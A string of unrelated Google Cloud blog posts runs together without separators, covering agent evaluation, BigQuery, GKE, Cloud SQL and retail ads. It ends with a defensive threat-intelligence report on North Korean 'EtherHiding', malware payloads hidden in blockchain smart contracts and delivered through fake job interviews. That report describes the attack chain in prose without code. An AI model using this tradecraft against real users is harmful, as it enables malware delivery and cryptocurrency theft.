Agent evaluation, on the other hand, is more like a job performance review. We’re not just checking a final answer. We’re assessing a complex system’s behavior, including its autonomy, reasoning, tool use, and ability to handle unpredictable situations. Because agents are non-deterministic, you can give the same prompt twice and get two different–but equally valid–outcomes.
So, if we’re not just looking at the final output, what should we be measuring? The short answer is: everything. We need a full-stack approach that looks at four key layers of the agent’s behavior:
Final Outcome: Did the agent achieve its goal? This goes beyond a simple pass/fail to look at the quality of the output. Was it coherent, accurate, and safe? Did it avoid hallucinations?
Chain of Thought (Reasoning): How did the agent arrive at its answer? We need to check if it broke the task into logical steps and if its reasoning was consistent. An agent that gets the right answer by luck won’t be reliable.
Tool Utilization: Did the agent pick the right tool for the job and pass the correct parameters? Crucially, was it efficient? We’ve all seen agents get stuck in costly, redundant API call loops, and this is where you catch that.
Memory & Context Retention: Can the agent recall information from earlier in the conversation when needed? If new information conflicts with its existing knowledge, can it resolve that conflict correctly?
How to Measure: Ground Truth, LLM-as-a-Judge, and Human-in-the-Loop
Once you know what to measure, the next question is how. We covered three popular methods, each with its own pros and cons:
Ground Truth Checks: These are fast, cheap, and reliable for objective measures. Think of them as unit tests for your agent’s outputs: “Is this a valid JSON?” or “Does the format match the schema?” Their limitation is that they can’t capture nuance.
LLM-as-a-Judge: Here, you use a powerful LLM to score subjective qualities, like the coherence of an agent’s plan. This approach scales incredibly well, but its judgments are only as good as the model’s training and biases.
Human-in-the-Loop: This is the gold standard, where domain experts review agent outputs. It’s the most accurate method for capturing nuance but is also the slowest and most expensive.
The key takeaway is not to pick just one. The best strategy is to combine them in a calibration loop: start with human experts to create a small, high-quality “golden dataset,” then use that data to fine-tune an LLM-as-a-judge until its scores align with your human reviewers. This gives you the best of both worlds: human-level accuracy at an automated scale.
The Factory Floor: Evaluating an Agent in 5 Steps
The Factory Floor is our segment for getting hands-on. Here, we moved from high-level concepts to a practical demo using the Agent Development Kit (ADK).
The ADK Web UI is perfect for fast, interactive testing during development. We walked through a five-step “inner loop” workflow to debug a simple product research agent that was using the wrong tool.
1. Test and Define the “Golden Path.” We gave the agent a prompt (“Tell me about the A-phones”) and saw it return the wrong information (an internal SKU instead of a customer description). We then corrected the response in the Eval tab to create our first “golden” test case.
2. Evaluate and Identify Failure. With the test case saved, we ran the evaluation. As expected, it failed immediately.
3. Find the Root Cause. This is where we got into the evaluation. We jumped into the Trace view, which shows the agent’s step-by-step reasoning process. We could instantly see that it chose the wrong tool (lookup_product_information instead of get_product_details).
4. Fix the Agent. The root cause was an ambiguous instruction. We updated the agent’s code to be more specific about which tool to use for customer-facing requests versus internal data.
5. Validate the Fix. After the ADK server hot-reloaded our code, we re-ran the evaluation, and this time, the test passed. The agent provided the correct customer-facing description.
From Development to Production
This ADK workflow is fantastic for development, but it doesn’t scale. For that, you need to move to a production-grade platform.
From the Inner Loop to the Outer Loop: ADK and Vertex AI
ADK for the Inner Loop: It’s built for the fast, manual, and interactive debugging you do during development.
Vertex AI for the Outer Loop: When you need to run evaluations at scale with richer metrics (like LLM-as-a-judge), you need a production-grade platform like Vertex AI’s Gen AI evaluation services. It’s designed to handle complex, qualitative evaluations for agents at scale and produce results you can build monitoring dashboards with.
Both of these workflows require a dataset, but what if you don’t have one? This is the “cold start problem,” and we solve it with synthetic data generation. We walked through a four-step recipe:
Generate Tasks: Ask an LLM to generate realistic user tasks.
Create Perfect Solutions: Have an “expert” agent produce the ideal, step-by-step solution for each task.
Generate Imperfect Attempts: Have a weaker or different agent try the same tasks, giving you a set of flawed attempts.
Score Automatically: Use an LLM-as-a-judge to compare the imperfect attempts against the perfect solutions and score them.
Once you have evaluation data, the developer’s next challenge is clear: how do you use it to design tests that scale? You can’t just manually check every output forever. We approach this problem with a three-tier testing strategy.
Tier 1: Unit Tests. This is the ground floor. Just like in traditional coding, you test the smallest pieces of your agent in isolation. For example, verifying that a specific tool, like fetch_product_price, correctly extracts data from a sample input without running the whole agent.
Tier 2: Integration Tests. This is the agent’s “test drive.” Here, you evaluate the entire, multi-step journey for a single agent. You give it a complete task and verify that it can successfully chain its reasoning and tools together to produce the final, expected outcome.
Tier 3: End-to-End Human Review. This is the ultimate sanity check where automation meets human judgment. For complex tasks, a human expert evaluates the agent’s final output for quality, nuance, and correctness. This creates a “human-in-the-loop” feedback system to continuously calibrate and improve the agent’s performance. It’s also at this stage that you begin testing how multiple agents interact within a larger system.
As we move from single agents to multi-agent systems, evaluation has to evolve. Judging an agent in isolation doesn’t tell you much about the overall system’s performance.
We used an example of a customer support system with two agents: Agent A for initial contact and Agent B for processing refunds. If a customer asks for a refund, Agent A’s job is to gather the info and hand it off to Agent B.
If you evaluate Agent A alone, its task completion score might be zero because it didn’t actually issue the refund. But in reality, it performed its job perfectly by successfully handing off the task. Conversely, if Agent A passes the wrong information, the system as a whole fails, even if Agent B’s logic is perfect.
This shows why, in multi-agent systems, what really matters is the end-to-end evaluation. We need to measure how smoothly agents hand off tasks, share context, and collaborate to achieve the final goal.
We wrapped up by touching on some of the biggest open challenges in agent evaluation today:
Cost-Scalability Tradeoff: Human evaluation is high-quality but expensive; LLM-as-a-judge is scalable but requires careful calibration. Finding the right balance is key.
Benchmark Integrity: As models get more powerful, there’s a risk that benchmark questions leak into their training data, making scores less meaningful.
Evaluating Subjective Attributes: How do you objectively measure qualities like creativity, proactivity, or even humor in an agent’s output? These are still open questions the community is working to solve.
Your Turn to Build
This episode was packed with concepts, but the goal was to give you a practical framework for thinking about and implementing a robust evaluation strategy. From the fast, iterative loop in the ADK to scaled-up pipelines in Vertex AI, having the right evaluation mindset is what turns a cool prototype into a production-ready agent.
We encourage you to watch the full episode to see the demos in action and start applying these principles to your own projects.
We designed BigQuery Studio to give data analysts, data engineers, and data scientists a comprehensive analytics experience within a single, purpose-built platform, helping them transform data into powerful insights.
Today, we’re thrilled to unveil a significant update to the BigQuery Studio, with a simplified and organized console interface to streamline your workflows, enhance your productivity, and give you greater control. Start your day ready to dive into data in an environment built for efficiency, free from the time-consuming sifting through countless queries or searching for the right tables. Come with us on a tour of the new interface, including a new:
Additional Explorer view to simplify data discovery and exploration
Reference panel that brings all the context you need, without context switching
Decluttered UI that gives you more control
Finding your way with the Explorer
Your journey begins with an expanded view of the Explorer, which lets you find and access resources using a full tab with more information about each resource.To view resources within a project, pick the project in the Explorer and choose the resource type you want to explore. A list of the resources shows up in a tab where you can filter or drill down to find what you’re looking for. To see all of your starred resources across projects, simply click “Starred” at the top of the Explorer pane to open the list of starred items. Alongside the new Explorer view, the full resource tree view is still available in the Classic Explorer, accessible by clicking the middle icon at the top of the pane.
As your projects grow, so does the need for efficient searching. The new search capabilities in BigQuery Studio allow you to easily find BigQuery resources. Use the search box in the new Explorer pane to search across all of your BigQuery resources within your organization. Then, filter the results by project and resource type to pinpoint exactly what you need.
To reduce tab proliferation and give you more control over your workspace, clicking on a resource now consistently opens it within the same BigQuery Studio tab. To open multiple results in separate tabs, use ctrl+click (or cmd+click). To prevent the current tab from getting its content replaced, double-click the tab name (you’ll notice that its name changes from italicized to regular font).
Context at your fingertips with the Reference panel
Writing complex queries often involves switching between tabs or running exploratory queries just to remember schema details or column names. The Reference panel eliminates this hassle. It dynamically displays context-aware information about tables and schemas directly within your editors as you write code. This means you have quick access to crucial details, so you can write your query with fewer interruptions.
The Reference panel also lets you generate code without having to copy and paste things like table or column names. To quickly start a new SQL query on a table, click the actions menu at the top of the Reference panel and select “insert query snippet”. The query code is automatically added to your editor. You can also click any field name in the table schema to insert it into your code.
Beyond the highlights: Less clutter and more efficiency
These updates are part of a broader effort to provide you with a clean workspace over which you have more control. In addition, the new BigQuery Studio includes a dedicated Job history tab, accessible from the new Explorer pane, providing a bigger view of jobs and reducing clutter by removing the bottom panel. You can also fully collapse the Explorer panel to gain more space to focus on your code.
Ready to experience the difference? We invite you to log in to the BigQuery Studio and try the new interface. Check out the Home tab in BigQuery Studio to learn more about these changes. For more details and to deepen your understanding, be sure to explore our documentation. Any feedback? Email us at bigquery-explorer-feedback@google.com.
For too long, network data analysis has felt less like a science and more like deciphering cryptic clues. To help close that gap, we’re introducing a new Mandiant Academy course from Google Cloud, designed to replace frustration with clarity and confidence.
We’ve designed the course specifically for cybersecurity professionals who need to quickly and effectively enhance network traffic analysis skills. You’ll learn to cut through the noise, identify malicious fingerprints with higher accuracy, and fortify your organization’s defenses by integrating critical cyber threat intelligence (CTI).
What you’ll learn
This track includes four courses that provide practical methods to analyze networks and operationalize CTI. Students will explore five proven methodologies to network analysis:
Packet capture (PCAP)
Network flow (netflow)
Protocol analysis
Baseline and behavioral
Historical analysis
Incorporating common tools, we demonstrate how to enrich each methodology adding CTI, and how analytical tradecraft enhances investigations.
The first course, Decoding Network Defense, refreshes foundational CTI principles and the five core network traffic analysis methodologies.
The second course, Analyzing the Digital Battlefield, investigates PCAP, netflow, and protocol before exploring how CTI enriches new evidence.
In the third course, Insights into Adversaries, students learn to translate complex human behaviors into detectable signatures.
The final course, The Defender’s Arsenal, introduces essential tools for those on the frontline, protecting their network’s perimeter.
Who should attend this course?
“Protecting the Perimeter” was developed for practitioners whose daily work is to interpret network telemetry from multiple data sources and identify anomalous behavior.This track’s format is designed for professionals who possess enough knowledge and skill to defend networks, but have limited time to continue education and enhance their abilities.
This training track is the second release from Mandiant Academy’s new approach to on-demand training which concentrates complex security concepts into short-form courses.
Sign up today
To learn more about and register for the course, please visit the Mandiant Academy website. You can also access Mandiant Academy’s on-demand, instructor-led, and experiential training options. We hope this course proves helpful in your efforts to defend your organization against cyber threats.
Deploying LLM workloads can be complex and costly, often involving a lengthy, multi-step process. To solve this, Google Kubernetes Engine (GKE) offers Inference Quickstart.
With Inference Quickstart, you can replace months of manual trial-and-error with out-of-the-box manifests and data-driven insights. Inference Quickstart integrates with the Gemini CLI through native Model Context Protocol (MCP) support to offer tailored recommendations for your LLM workload cost and performance needs. Together, these tools empower you to analyze, select, and deploy your LLMs on GKE in a matter of minutes. Here’s how.
1. Select and serve your LLM on GKE via Gemini CLI
You can install the gemini cli and gke-mcp server with the following steps:
Here are some example prompts that you can give Gemini CLI to select an LLM workload and generate the manifest needed to deploy the model to a GKE cluster:
code_block
<ListValue: [StructValue([(‘code’, “1. What are the 3 cheapest models available on GKE Inference Quickstart? Can you provide all of the related performance data and accelerators they ran on?rn2. How does this model’s performance compare when it was run on different accelerators?rn3. How do I choose between these 2 models?rn4. I’d like to generate a manifest for this model on this accelerator and save it to the current directory.”), (‘language’, ”), (‘caption’, <wagtail.rich_text.RichText object at 0x7f7e3038cee0>)])]>
This video below shows an end-to-end example of how you can quickly identify and deploy your optimal LLM workload to a pre-existing GKE cluster via this Gemini CLI setup:
Choosing the right hardware for your inference workload means balancing performance and cost. The trade-off is nonlinear. To simplify this complex trade-off, Inference Quickstart provides performance and cost insights across various accelerators, all backed by Google’s benchmarks.
For example, as shown in the graph below, minimizing latency for a model like Gemma 3 4b on vLLM dramatically increases cost. This is because achieving ultra-low latency requires sacrificing the efficiency of request batching, which leaves your accelerators underutilized. Request load, model size, architecture, and workload characteristics can all impact which accelerator is optimal for your specific use case.
To make an informed decision, you can get instant, data-driven recommendations by asking Gemini CLI or using the Inference Quickstart Colab notebook.
3. Calculate cost per input/output token
When you host your own model on a platform like GKE, you are billed for accelerator time, not for each individual token. Inference Quickstart calculates cost per token using the accelerator’s hourly cost and the input/output throughput.
The following formula attributes the total accelerator cost to both input and output tokens:
This formula assumes an output token costs four times as much as an input token. The reason for this heuristic is that the prefill phase (processing input tokens) is a highly parallel operation, whereas the decode phase (generating output tokens) is a sequential, auto-regressive process. You can ask Gemini CLI to change this ratio for you to fit your workload’s expected input/output ratio.
The key to cost-effective LLM inference is to take a data-driven approach. By relying on benchmarks for your workloads and using metrics like cost per token, you can make informed decisions that directly impact your budget and performance.
Next steps
GKE Inference Quickstart goes beyond cost insights and Gemini CLI integration, including optimizations for storage, autoscaling, and observability. Run your LLM workloads today with GKE Inference Quickstart to see how it can expedite and optimize your LLMs on GKE.
For today’s business-critical database workloads, the bar that their infrastructure must meet has never been higher. Organizations expect systems that are performant, cost-efficient, scalable and secure. But meeting those expectations is no small feat. Surging data volumes, increasingly complex workloads, and new demands from advanced analytics and vector search for generative AI are intensifying the pressure on database performance. These trends necessitate greater computing power for running high performance database workloads.
We continue to bring new innovations and performance improvements to both Cloud SQL Enterprise Plus and Enterprise editions. Today, we’re excited to deliver substantial efficiency gains to your database operations with the general availability of the C4A machine series, powered by Google Axion processors, for Cloud SQL Enterprise Plus edition, and the N4 machine series for Cloud SQL Enterprise edition. The existing Cloud SQL Enterprise edition machines will now be available as “General Purpose” machine series under Cloud SQL Enterprise edition with no changes to feature or pricing.
Cloud SQL Enterprise Plus edition running on Axion-based C4A virtual machines delivers up to 48% better price-performance than N2 machine series for transactional workloads. Additionally, Cloud SQL Enterprise edition running on N4 machines delivers up to 44% better price-performance for transactional workloads and up to 3x higher throughput performance for read-only workloads as compared to Cloud SQL general purpose machine series.
Axion-powered C4A for Cloud SQL Enterprise Plus
C4A instances bring compelling advantages to managed Google Cloud database workloads. They deliver significant price-performance advantages compared to the N2 machine series and run your critical database workloads with greater speed and lower latency. Purpose-built to handle data-intensive workloads that require real-time processing, C4A instances are well-suited for high-performance databases and demanding analytics engines. The general availability of Axion-based C4A VMs for Cloud SQL Enterprise Plus edition underscores our commitment to infusing this cutting-edge technology for a diverse range of database deployments.
Cloud SQL Enterprise Plus edition for PostgreSQL and MySQL benefit significantly from Axion C4A instances:
They deliver up to 2x higher throughput performance and up to 65% better price-performance versus Amazon’s Graviton4 based offerings.
They also deliver up to 48% better price-performance over N2 machines for transactional workloads.
N4 machines for Cloud SQL Enterprise
N4 machine series are powered by the fifth-generation Intel Xeon Scalable processor, and support PostgreSQL, MySQL and SQL Server engines for Cloud SQL Enterprise edition. Compared to Cloud SQL general purpose machine series, N4 machines deliver up to 44% better price-performance for transactional workloads and up to 3x higher throughput performance for read-only workloads.
Amplify performance with Hyperdisk Balanced storage
To further boost performance of I/O intensive workloads, both C4A and N4 machine series support the latest generation Hyperdisk Balanced storage. This combination enables higher disk performance while simultaneously lowering disk costs.
Hyperdisk Balanced provides up to 1.6x higher IOPS and up to 2x higher throughput as compared to SSD offerings that are available for Cloud SQL Enterprise Plus and Enterprise editions. Hyperdisk Balanced for Cloud SQL also helps you optimize disk costs by letting you independently configure capacity, throughput, and IOPS to match your workload requirements.
What customers are saying
We’re proud to partner with industry leaders to bring this technology to market. Check out what our customers are saying about the performance gains and efficiency improvements they’re seeing on the new C4A machines:
“As Germany’s leading chain of general practitioner clinics, Avi Medical depends on fast, highly available data to provide seamless patient care. That’s why we moved our existing Cloud SQL servers to C4A machines, slashing our database costs by 35% and cutting user latency by 20%. This powerful optimization delivered a significantly faster experience for our healthcare professionals while driving down operational expenses.” – Patrick Palacin, Managing Director, Avi Tech GmbH
“At SpareRoom, the leading room and roommate finder, the performance and efficiency of our platform are paramount. To support our scale and enhance customer experience, we continuously seek to improve key application components. While testing Cloud SQL Enterprise Plus edition running on C4A Axion machines, we saw 10% to 50% faster response times and a 40% to 150% increase in maximum throughput for multi-threaded workloads compared to our current Cloud SQL instances. Cloud SQL C4A also provides the granular control we need over storage performance, enabling us to align it perfectly with the requirements of our diverse workloads. With similar per-core and per-memory costs, the performance boost clearly makes C4A a better value for us.” – Dimitrios Kechagias, Principal Developer, Cloud Infrastructure Optimisation Lead, SpareRoom
“Synspective designs, builds, and operates a fleet of [Synthetic Aperture Radar] satellites to detect and understand changes across the globe. Our services help organizations derive critical insights from large volumes of data. We rely on Cloud SQL’s high performance databases to deliver our services worldwide. Our evaluation of Cloud SQL C4A Axion machines for our workload showed a 50% improvement in query-execution performance and a nearly 50% reduction in CPU utilization compared to our existing Cloud SQL instances. We are thrilled with these results, which give us the performance and efficiency we need to continue innovating on Google Cloud.” – Masaya Arai, Principal Cloud Architect, Synspective Inc.
Ready to get started? Visit the Google Cloud console and create a Cloud SQL instance with just a few clicks. New Google Cloud customers can start afree trial and receive $300 in free credits.
The retail media landscape has reached an inflection point. What started as a way for retailers to monetize their digital real estate has become the fastest-growing segment of digital advertising, with projections showing 21.9% growth in 2025 and a three-year compound annual growth rate of 19.7% through 2027, according to Dentsu’s Global Ad Spend Forecasts Report, December 2024. Yet, many retailers find themselves caught in a frustrating paradox: they possess rich first-party data but lack the infrastructure to monetize it effectively at scale.
Legacy advertising stacks, fragmented infrastructure, and limited machine learning capabilities prevent them from competing with established leaders like Amazon and Walmart. To build profitable, performant on-site advertising businesses, retailers need real-time personalization and measurable ROI – capabilities that require sophisticated AI infrastructure most don’t have in-house.
This is where the partnership between Moloco and Google Cloud delivers significant value. Moloco is an AI-native retail media platform, built from the ground up to deliver one-to-one ad personalization in real-time. Leveraging Google Cloud’s advanced infrastructure, the platform uses TPUs (Tensor Processing Units) and GPUs (Graphics Processing Units) for training and scoring, while Vector Search operates efficiently on CPUs (Central Processing Units). This enables outcomes-based bidding at scale, without requiring retailers to build in-house AI expertise.
The results demonstrate clear value: ~10x increase in capacity, up to ~25% lower p95 latency, and 4% revenue uplift. This blog explores how the joint architecture is reshaping retail media and delivering real-world business impact.
High expectations, limited infrastructure
Retailers face mounting pressure from multiple directions. Declining margins drive the need for new revenue streams, while complex ad tech environments make monetizing first-party data more challenging. Many hit effectiveness ceilings as their advertising spend scales, unable to maintain performance without sophisticated personalization.
Meanwhile, advertisers demand closed-loop measurement and proven ROI – capabilities that require advanced infrastructure most retailers simply don’t possess.
“The sheer scale of modern retail catalogs and the expectation of instantaneous, relevant results have pushed traditional search systems to their limits,” Farhad Kasad, an engineering manager for Vertex AI at Google Cloud, said “To solve this, retailers need to think in terms of semantic understanding. Vertex AI vector search provides the foundational infrastructure to handle billions of items and queries with ultra-low latency, enabling the move from simple keyword matching to truly understanding the context behind a search and delivering hyper-personalized results.”
Addressing this infrastructure opportunity enables retailers to build sustainable, competitive retail media businesses.
Moloco Commerce Media meets Vertex AI Vector Search
Moloco offers an end-to-end, AI-native retail media platform specifically designed to address this challenge. Rather than retrofitting existing systems with AI capabilities, Moloco built its platform from the ground up to use artificial intelligence for every aspect of ad delivery and optimization.
The platform’s integration with Google Cloud’s Vertex AI vector search creates a powerful foundation for semantic ad retrieval and matching. This combination supports hyper-personalized ads and product recommendations by understanding the contextual meaning behind user queries and behaviors, not just matching keywords.
The architecture simplifies what was previously a complex, resource-intensive process. Retailers can focus on their core business while leveraging enterprise-grade, fully managed services that scale automatically with their business needs, rather than building and maintaining their own vector databases.
Simplified architecture and scalable, managed vector search dramatically improve system performance and developer experience.
How vector search improves ad performance
Vector Search represents a major shift from traditional keyword-based matching to semantic understanding. Instead of relying solely on exact text matches, Vector Search converts products, user behaviors, and search queries into mathematical representations (vectors) that capture meaning and context.
This approach enables several breakthrough capabilities for retail media:
Real-time relevance at scale: Vector Search can process millions of product-ad combinations in milliseconds, identifying the most contextually relevant matches based on user behavior, product attributes, and advertiser goals.
Semantic understanding: The system understands that a user searching for “running gear” might be interested in advertisements for athletic shoes, moisture-wicking shirts, or fitness trackers – even if those exact terms don’t appear in the query.
Hybrid search architecture: By combining dense vector representations (semantic meaning) with sparse keyword matching (exact terms), the platform delivers both contextual relevance and precision matching.
Production-grade performance: Using Google’s ScaNN algorithm, developed by Google Research and used in popular Google services, retailers gain access to battle-tested infrastructure without the complexity of building it themselves.
Fully managed infrastructure: Reduces operational overhead while providing enterprise-grade security, reliability, and scalability that grows with retail media program success.
Imsung Choi, Staff Software Engineer at Moloco, explained: “By migrating to Google Cloud Platform’s Vertex AI vector search, we increased capacity by ~10x. Some customers even saw up to ~25% lower p95 latency.”
The operational benefits proved equally significant. As Mingtian Ni, Senior Staff Software Engineer at Moloco, noted: “The managed nature of Google Cloud Platform’s Vector Search simplified our system architecture significantly. We no longer need to manage infrastructure or optimize indexes manually; operations are more stable and scalable.”
Better together with Google Cloud
Moloco’s success stems from deep integration with Google Cloud’s AI infrastructure – specifically Vertex AI Vector Search and ScaNN. By combining Moloco’s deep learning expertise with Google’s scalable, production-grade machine learning tools, retailers can launch performant, AI-native ad businesses faster than ever.
Google Cloud provides the foundation: fast, reliable vector retrieval, managed index updates, and enterprise security. Moloco builds the application layer that transforms these capabilities into measurable business outcomes: increased monetization, reduced latency, and future-proof personalization.
Together, Moloco and Google Cloud help retailers transform first-party data into meaningful, real-time value without requiring substantial internal AI investments or custom infrastructure development. Retailers maintain full control of their first-party data, with our platform processing it strictly according to their instructions and enforcing tenant isolation to ensure security and data separation.
Moloco’s Vector Search migration and impact
In internal benchmarks and select production deployments, migration to Vertex AI Vector Search delivered measurable improvements across key performance metrics:
~10x increase in capacity, ensuring even retailers with extensive product catalogs can deliver personalized advertising experiences without performance degradation.
Up to ~25% lowerp95 latency in ad serving, critical for maintaining user engagement and ad effectiveness in real-time bidding scenarios.
4.0% monetization uplift in ad revenue across several rollouts.
While results vary by catalog size and traffic, these advancements demonstrate that technical improvements translate directly to business value.
Business impact for retail leaders
For CROs and CMOs, this infrastructure delivers the revenue growth and advertiser ROI that budget approvals depend on. Improved ad relevance drives higher click-through rates and conversion, making advertising inventory more valuable to brand partners. As a result, Moloco consistently enables retailers to achieve ad revenue growth that outpaces traditional solutions by delivering a 4% uplift, making it a truly transformational force for their businesses.
Heads of retail media gain the measurable performance metrics and scalable infrastructure needed to compete with established players. Platform reliability and speed become competitive advantages rather than operational headaches.
CEOs and CFOs see long-term value from platform monetization that doesn’t require ongoing technical investment. The managed infrastructure scales with business growth while providing predictable operational costs.
Technical impact for engineering and data teams
Platform architects benefit from scalable, low-latency infrastructure that avoids custom data pipelines that are difficult to maintain. The managed service reduces technical debt while supporting business growth.
Data scientists gain access to semantically rich, machine learning-ready vector search that improves ad relevance and personalization accuracy without requiring vector database expertise.
Machine learning engineers can use pre-tuned infrastructure like ScaNN to reduce time-to-value on retrieval models, focusing on business logic rather than infrastructure optimization.
DevOps and site reliability engineers appreciate fully managed services that reduce operational overhead while ensuring high availability for revenue-critical systems.
Technical leads value easy integration with existing Google Cloud Platform tools like BigQuery, Vertex AI, and Dataflow for unified data workflows.
Security and compliance teams get end-to-end policy controls and observability across data pipelines and ad targeting logic, essential for handling sensitive customer data.
Industry trends making this a must-have
Several converging trends highlight the strategic value of AI-native retail media infrastructure:
The demise of third-party cookies increases the strategic value of first-party data, but only for retailers who can activate it effectively for advertising personalization and targeting.
Generative AI adoption accelerates the need for vector-powered search and recommendation systems. As customers become accustomed to AI-powered experiences in other contexts, they expect similar sophistication in their shopping experiences.
Rising demand for personalization, shoppable content, and ad relevance creates pressure for real-time, context-aware systems that can adapt quickly to changing user behavior and inventory conditions.
ROI-driven advertising budgets put performance pressure on every aspect of the ad stack. Advertisers demand clear attribution and measurable results, pushing retailers to invest in infrastructure that provides closed-loop measurement and optimization capabilities.
The future of retail media is AI-Native
AI-native advertising technology has evolved from competitive advantage to strategic necessity. Retailers that rely on legacy systems risk falling behind competitors who can deliver superior personalization, measurement, and scale.
The partnership between Moloco and Google Cloud demonstrates how specialized AI expertise can combine with cloud-native infrastructure to deliver capabilities that would be prohibitively expensive and complex for most retailers to build independently. The managed service model ensures that retailers can access cutting-edge AI capabilities while focusing their internal resources on customer experience and business growth.
Moloco represents the next generation of Retail Media Networks (RMN) solutions, expanding what is possible for retailers with AI-powered technology. Google Cloud is proud to partner in helping them scale a differentiated, AI-native retail media solution that delivers real business results. As the retail media landscape continues to evolve, partnerships like this will define which retailers can successfully monetize their first-party data at scale.
Get Started
Moloco’s integration with Vertex AI Vector Search is available through the Google Cloud Marketplace.Explore the capabilities of Google Cloud’s Vertex AI Vector Search.
Written by: Blas Kojusner, Robert Wallace, Joseph Dobson
Google Threat Intelligence Group (GTIG) has observed the North Korea (DPRK) threat actor UNC5342 using ‘EtherHiding’ to deliver malware and facilitate cryptocurrency theft, the first time GTIG has observed a nation-state actor adopting this method. This post is part of a two-part blog series on adversaries using EtherHiding, a technique that leverages transactions on public blockchains to store and retrieve malicious payloads—notable for its resilience against conventional takedown and blocklisting efforts. Read about UNC5142 campaign leveraging EtherHiding to distribute malware.
Since February 2025, GTIG has tracked UNC5342 incorporating EtherHiding into an ongoing social engineering campaign, dubbed Contagious Interview by Palo Alto Networks. In this campaign, the actor uses JADESNOW malware to deploy a JavaScript variant of INVISIBLEFERRET, which has led to numerous cryptocurrency heists.
How EtherHiding Works
EtherHiding emerged in September 2023 as a key component in the financially motivated CLEARFAKE campaign (UNC5142), which uses deceptive overlays, like fake browser update prompts, to manipulate users into executing malicious code.
EtherHiding involves embedding malicious code, often in the form of JavaScript payloads, within a smart contract on a public blockchain like BNB Smart Chain or Ethereum. This approach essentially turns the blockchain into a decentralized and highly resilient command-and-control (C2) server.
The typical attack chain unfolds as follows:
Initial Compromise: DPRK threat actors typically utilize social engineering for their initial compromise (e.g., fake job interviews, crypto games, etc.). Additionally, in the CLEARFAKE campaign, the attacker first gains access to a legitimate website, commonly a WordPress site, through vulnerabilities or stolen credentials.
Injection of a Loader Script: The attacker injects a small piece of JavaScript code, often referred to as a “loader,” into the compromised website.
Fetching the Malicious Payload: When a user visits the compromised website, the loader script executes in their browser. This script then communicates with the blockchain to retrieve the main malicious payload stored in a remote server. A key aspect of this step is the use of a read-only function call (such as eth_call), which does not create a transaction on the blockchain. This ensures the retrieval of the malware is stealthy and avoids transaction fees (i.e. gas fees).
Payload Execution: Once fetched, the malicious payload is executed on the victim’s computer. This can lead to various malicious activities, such as displaying fake login pages, installing information-stealing malware, or deploying ransomware.
Advantages for Attackers
EtherHiding offers several significant advantages to attackers, positioning it as a particularly challenging threat to mitigate:
Decentralization and Resilience: Because malicious code is stored on a decentralized and permissionless blockchain, there is no central server that law enforcement or cybersecurity firms can take down. The malicious code remains accessible as long as the blockchain itself is operational.
Anonymity: The pseudonymous nature of blockchain transactions makes it difficult to trace the identity of the attackers who deployed the smart contract.
Immutability: Once a smart contract is deployed, the malicious code within it typically cannot be easily removed or altered by anyone other than the contract owner.
Stealth: Attackers can retrieve the malicious payload using read-only calls that do not leave a visible transaction history on the blockchain, making their activities harder to track.
Flexibility: The attacker who controls the smart contract can update the malicious payload at any time. This allows them to change their attack methods, update domains, or deploy different types of malware to compromised websites simultaneously by simply updating the smart contract.
In essence, EtherHiding represents a shift toward next-generation bulletproof hosting, where the inherent features of blockchain technology are repurposed for malicious ends. This technique underscores the continuous evolution of cyber threats as attackers adapt and leverage new technologies to their advantage.
DPRK Social Engineering Campaign
North Korea’s social engineering campaign is a sophisticated and ongoing cyber espionage and financially motivated operation that cleverly exploits the job application and interview process. This campaign targets developers, particularly in the cryptocurrency and technology sectors, to steal sensitive data, cryptocurrency, and gain persistent access to corporate networks.
The campaign has a dual purpose that aligns with North Korea’s strategic goals:
Financial Gain: A primary objective is the theft of cryptocurrency and other financial assets to generate revenue for the regime, helping it bypass international sanctions.
Espionage: By compromising developers, the campaign aims to gather valuable intelligence and potentially gain a foothold in technology companies for future operations.
The campaign is characterized by its elaborate social engineering tactics that mimic legitimate recruitment processes.
1. The Phishing Lure:
Fake Recruiters and Companies: The threat actors create convincing but fraudulent profiles on professional networking sites like LinkedIn and job boards. They often impersonate recruiters from well-known tech or cryptocurrency firms.
Fabricated Companies: In some instances, they have gone as far as setting up fake company websites and social media presences for entities like “BlockNovas LLC,” “Angeloper Agency,” and “SoftGlideLLC” to appear legitimate.
Targeted Outreach: They aggressively contact potential victims, such as software and web developers, with attractive job offers.
2. The Interview Process:
Initial Engagement: The fake recruiters engage with candidates, often moving the conversation to platforms like Telegram or Discord.
The Malicious Task: The core of the attack occurs during a technical assessment phase. Candidates are asked to perform a coding test or review a project, which requires them to download files from repositories like GitHub. These files contain malicious code.
Deceptive Tools: In other variations, candidates are invited to a video interview and are prompted with a fake error message (a technique called ClickFix) that requires them to download a supposed “fix” or a specific software to proceed, which is actually the malware.
3. The Infection Chain:
The campaign employs a multi-stage malware infection process to compromise the victim’s system, often affecting Windows, macOS, and Linux systems.
Initial Downloader (e.g.,JADESNOW): The malicious packages downloaded by the victim are often hosted on the npm (Node Package Manager) registry. These loaders may collect initial system information and download the next stage of malware.
Second-Stage Malware (e.g.,BEAVERTAIL, JADESNOW): The JavaScript-based malware is designed to scan for and exfiltrate sensitive data, with a particular focus on cryptocurrency wallets, browser extension data, and credentials. The addition of JADESNOW to the attack chain marks UNC5342’s shift towards EtherHiding to serve up the third-stage backdoor INVISIBLEFERRET.
Third-Stage Backdoor (e.g.,INVISIBLEFERRET): For high-value targets, a more persistent backdoor is deployed. INVISIBLEFERRET, a Python-based backdoor, provides the attackers remote control over the compromised system, allowing for long-term espionage, data theft, and lateral movement within a network.
JADESNOW
JADESNOW is a JavaScript-based downloader malware family associated with the threat cluster UNC5342. JADESNOW utilizes EtherHiding to fetch, decrypt, and execute malicious payloads from smart contracts on the BNB Smart Chain and Ethereum. The input data stored in the smart contract may be Base64-encoded and XOR-encrypted. The final payload in the JADESNOW infection chain is usually a more persistent backdoor like INVISIBLEFERRET.JAVASCRIPT.
The deployment and management of JADESNOW differs from that of similar campaigns that implement EtherHiding, such as CLEARFAKE. The CLEARFAKEcampaign,associated with the threat cluster UNC5142, functions as a malicious JavaScript framework and often masquerades as a Google Chrome browser update pop-up on compromised websites. The primary function of the embedded JavaScript is to download a payload after a user clicks the “Update Chrome” button. The second-stage payload is another Base64-encoded JavaScript stored on the BNB Smart Chain. The final payload may be bundled with other files that form part of a legitimate update, like images or configuration files, but the malware itself is usually an infostealer like LUMASTEALER.
